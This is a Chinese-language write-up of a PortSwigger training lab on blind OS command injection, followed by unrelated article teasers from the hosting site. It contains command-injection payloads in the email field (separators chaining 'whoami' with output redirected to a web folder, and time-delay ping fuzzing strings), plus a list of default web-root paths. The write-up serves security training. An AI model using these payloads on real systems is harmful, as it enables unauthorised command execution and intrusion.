PortsWiggerLab: Blind OS command injection with output redirection

實驗目的

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

/var/www/images/

The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.

To solve the lab, execute the whoami command and retrieve the output.

官方WP

  1. Use Burp Suite to intercept and modify the request that submits feedback.
  2. Modify the email parameter, changing it to:

    email=||whoami>/var/www/images/output.txt||
  3. Now use Burp Suite to intercept and modify the request that loads an image of a product.
  4. Modify the filename parameter, changing the value to the name of the file you specified for the output of the injected command:

    filename=output.txt
  5. Observe that the response contains the output from the injected command.

實驗步驟

  • 進入實驗室,點擊右上角的`Submit feedback`

  • 在反饋表中填入相關信息

  • 使用Yakit進行抓包

  • 針對email參數進行RCE命令注入FUZZ

  • 將請求id從小到大排序,觀察延遲突然變大的請求

由上圖可見,從第8個請求到第9個請求延遲增長跨度大,因此該Payload很可能為有效RCE的間隔符

  • 提取出疑似有效Payload

email=test%40test.com%0Aping+-c+5+127.0.0.1;

email=test%40test.com;ping+-c+5+127.0.0.1;

email=test%40test.com|ping+-c+5+127.0.0.1;

email=test%40test.com;ping+-c+5+127.0.0.1||

email=test%40test.com||ping+-c+5+127.0.0.1||

email=test%40test.com||ping+-c+5+127.0.0.1|

email=test%40test.com;ping+-c+5+127.0.0.1%0A

email=test%40test.com||ping+-c+5+127.0.0.1%0A

  • 單獨取出Payload進行測試可見email參數處確實存在RCE漏洞

  • 嘗試直接執行whoami發現無回顯

  • 嘗試RCE直接通過DNSLOG外帶發現不出網,那就嘗試RCE寫文件。接下來需要針對Apache、Nginx、IIS等常見Web服務器類型進行不同路徑的寫入嘗試

一、Apache HTTP Server

1.?Linux/macOS
  • 默認網站目錄
    • Ubuntu/Debian:/var/www/html
    • CentOS/RHEL:/var/www/html
    • macOS:/usr/local/var/www
  • 配置文件
    • Ubuntu/Debian:/etc/apache2/apache2.conf
    • CentOS/RHEL:/etc/httpd/conf/httpd.conf
    • macOS:/usr/local/etc/apache2/2.4/httpd.conf
2.?Windows
  • 默認網站目錄C:\Apache24\htdocs
  • 配置文件C:\Apache24\conf\httpd.conf

二、Nginx

1.?Linux/macOS
  • 默認網站目錄
    • Ubuntu/Debian:/var/www/html
    • CentOS/RHEL:/usr/share/nginx/html
    • macOS:/usr/local/var/www
  • 配置文件
    • Ubuntu/Debian:/etc/nginx/sites-available/default
    • CentOS/RHEL:/etc/nginx/conf.d/default.conf
    • macOS:/usr/local/etc/nginx/nginx.conf
2.?Windows
  • 默認網站目錄C:\nginx\html
  • 配置文件C:\nginx\conf\nginx.conf

三、IIS(Internet Information Services)

Windows(所有版本)
  • 默認網站目錄C:\inetpub\wwwroot
  • 配置文件
    • IIS 7+:%WINDIR%\System32\inetsrv\config\applicationHost.config
    • 管理工具:通過 “Internet Information Services (IIS) 管理器” 圖形界面修改

PS:以上信息由大模型直接生成

  • 觀察到實驗室主頁存在大量圖片,嘗試直接查找這些圖片URL

  • 使用新建標簽頁打開任意圖片

  • 嘗試直接構造命令將文件寫入`/var/www/images`目錄中

  • 嘗試直接訪問test.txt文件發現成功寫入

  • 嘗試直接讀取當前用戶名

  • 完成該實驗

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/88579.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/88579.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/88579.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

星云穿越與超光速飛行特效的前端實現原理與實踐

文章目錄 1,引言2,特效設計思路3,技術原理解析1. 星點的三維分布2. 視角推進與星點運動3. 三維到二維的投影4. 星點的視覺表現5. 色彩與模糊處理4,關鍵實現流程圖5,應用場景與優化建議6,總結1,引言 在現代網頁開發中,炫酷的視覺特效不僅能提升用戶體驗,還能為產品增添…

【Linux】C++項目分層架構:核心三層與關鍵輔助

C 項目分層架構全指南:核心三層 關鍵輔助一、核心三層架構 傳統的三層架構(或三層體系結構)是構建健壯系統的基石,包括以下三層: 1. 表現層(Presentation Layer) 負責展示和輸入處理&#xff0…

【機器學習】保序回歸平滑校準算法

保序回歸平滑校準算法(SIR)通過分桶合并線性插值解決廣告預估偏差問題,核心是保持原始排序下糾偏。具體步驟:1)按預估分升序分桶,統計每個分桶的后驗CTR;2)合并逆序桶重新計算均值&a…

項目開發日記

框架整理學習UIMgr&#xff1a;一、數據結構與算法 1.1 關鍵數據結構成員變量類型說明m_CtrlsList<PageInfo>當前正在顯示的所有 UI 頁面m_CachesList<PageInfo>已打開過、但現在不顯示的頁面&#xff08;緩存池&#xff09; 1.2 算法邏輯查找緩存頁面&#xff1a;…

60 美元玩轉 Li-Fi —— 開源 OpenVLC 平臺入門(附 BeagleBone Black 驅動簡單解析)

60 美元玩轉 Li-Fi —— 開源 OpenVLC 平臺入門&#xff08;附 BeagleBone Black 及驅動解析&#xff09;一、什么是 OpenVLC&#xff1f; OpenVLC 是由西班牙 IMDEA Networks 研究所推出的開源可見光通信&#xff08;VLC / Li-Fi&#xff09;研究平臺。它把硬件、驅動、協議棧…

Python性能優化

Python 以其簡潔和易用性著稱,但在某些計算密集型或大數據處理場景下,性能可能成為瓶頸。幸運的是,通過一些巧妙的編程技巧,我們可以顯著提升Python代碼的執行效率。本文將介紹8個實用的性能優化技巧,幫助你編寫更快、更高效的Python代碼。   一、優化前的黃金法則:先測…

easyui碰到想要去除頂部欄按鈕邊框

只需要加上 plain"true"<a href"javascript:void(0)" class"easyui-linkbutton" iconCls"icon-add" plain"true"onclick"newCheck()">新增</a>

C++字符串詳解:原理、操作及力扣算法實戰

一、C字符串簡介在C中&#xff0c;字符串的處理方式主要有兩種&#xff1a;字符數組&#xff08;C風格字符串&#xff09;和std::string類。雖然字符數組是C語言遺留的底層實現方式&#xff0c;但現代C更推薦使用std::string類&#xff0c;其封裝了復雜的操作邏輯&#xff0c;提…

CMU15445-2024fall-project1踩坑經歷

p1目錄&#xff1a;lRU\_K替換策略LRULRU\_K大體思路SetEvictableRecordAccessSizeEvictRemoveDisk SchedulerBufferPoolNewPageDeletePageFlashPage/FlashAllPageCheckReadPage/CheckWritePagePageGuard并發設計主邏輯感謝CMU的教授們給我們分享了如此精彩的一門課程&#xff…

【C語言進階】帶你由淺入深了解指針【第四期】:數組指針的應用、介紹函數指針

前言上一期講了數組指針的原理&#xff0c;這一期接著上一期講述數組指針的應用以及數組參數、函數參數。首先看下面的代碼進行上一期內容的復習&#xff0c;pc應該是什么類型&#xff1f;char* arr[5] {0}; xxx pc &arr;分析&#xff1a;①首先判斷arr是一個數組&#x…

在HTML中CSS三種使用方式

一、行內樣式在標簽<>中輸入style "屬性&#xff1a;屬性值;"。(中等使用頻率)不利于CSS樣式的復用&#xff1b;違背了CSS內容和樣式分離的設計理念&#xff0c;后期難以維護。<p style"color: red">這是div中的p元素</p>二、內部樣式在…

汽車功能安全-軟件單元驗證 (Software Unit Verification)【用例導出方法、輸出物】8

文章目錄1 軟件單元驗證用例導出方法2 測試用例完整性度量標準3 驗證環境要求4 軟件單元驗證的工作產品1 軟件單元驗證用例導出方法 為確保軟件單元測試的測試案例規范符合9.4.2要求&#xff0c;應通過表8所列方法開發測試用例。 表8 軟件單元測試用例的得出方法&#xff1a; …

MySQL內置函數(8)

文章目錄前言一、日期函數二、字符串函數三、數學函數四、其它函數總結前言 其實在之前的幾篇中我們也用到了內置函數&#xff0c;現在我們再來系統學習一下它&#xff01; 一、日期函數 函數名稱描述current_date()獲取當前日期current_time()獲取當前時間current_timestamp(…

蒼穹外賣項目日記(day04)

蒼穹外賣|項目日記(day04) 前言: 今天主要是接口開發, 涉及的新東西不多, 需要注意的只有多表聯查和修改的邏輯,今日難點: 1.菜品的停起售狀態設置 2.套餐的停起售狀態設置 3.動態sql中的 useGeneratedKeys 與 keyProperty 兩個參數 一. 菜品的停起售狀態設置 ? 在菜品的停售中…

React之旅-05 List Key

每個React的初學者&#xff0c;在調試程序時&#xff0c;都會遇到這樣的警告&#xff1a;Warning: Each child in a list should have a unique "key" prop. 如下面的代碼&#xff1a; const list [Learn React, Learn GraphQL];const ListWithoutKey () > (&l…

[特殊字符] 人工智能技術全景:從基礎理論到前沿應用的深度解析

&#x1f680; 人工智能技術全景&#xff1a;從基礎理論到前沿應用的深度解析 在這個AI驅動的時代&#xff0c;理解人工智能的核心技術和應用場景已成為技術人員的必備技能。本文將帶你深入探索AI的發展脈絡、核心技術差異以及在各行業的創新應用。 文章目錄&#x1f680; 人工…

Go語言教程-環境搭建

前言 Go&#xff08;又稱 Golang&#xff09;是由 Google 開發的一種 開源、靜態類型、編譯型 編程語言&#xff0c;于 2009 年正式發布。它旨在解決現代軟件開發中的高并發、高性能和可維護性問題&#xff0c;尤其適合 云計算、微服務、分布式系統 等領域。 Go 語言國際官網…

windows指定某node及npm版本下載

下載并安裝 nvm-windowshttps://github.com/coreybutler/nvm-windows/releases&#xff08;選擇 nvm-setup.zip&#xff09;。打開命令提示符&#xff08;管理員權限&#xff09;&#xff0c;安裝 Node.js v16.15.0&#xff1a; nvm install 16.15.0 nvm use 16.15.0 驗證node版…

每天一個前端小知識 Day 28 - Web Workers / 多線程模型在前端中的應用實踐

Web Workers / 多線程模型在前端中的應用實踐&#x1f9e0; 一、為什么前端需要多線程&#xff1f; 單線程 JS 的瓶頸&#xff1a;瀏覽器主線程不僅負責執行 JS&#xff0c;還要負責&#xff1a; UI 渲染&#xff08;DOM/CSS&#xff09;用戶事件處理&#xff08;點擊、輸入&am…

python:ImportError: cannot import name ‘ParameterSource‘ from ‘click.core‘

瀏覽器訪問網站拋錯&#xff1a;ImportError: cannot import name ParameterSource from click.core (E:\environment\python\Lib\site-packages\click\core.py)問題分析&#xff1a;1. click 版本問題ParameterSource 可能是在某個特定版本的 click 庫中引入的&#xff0c;而你…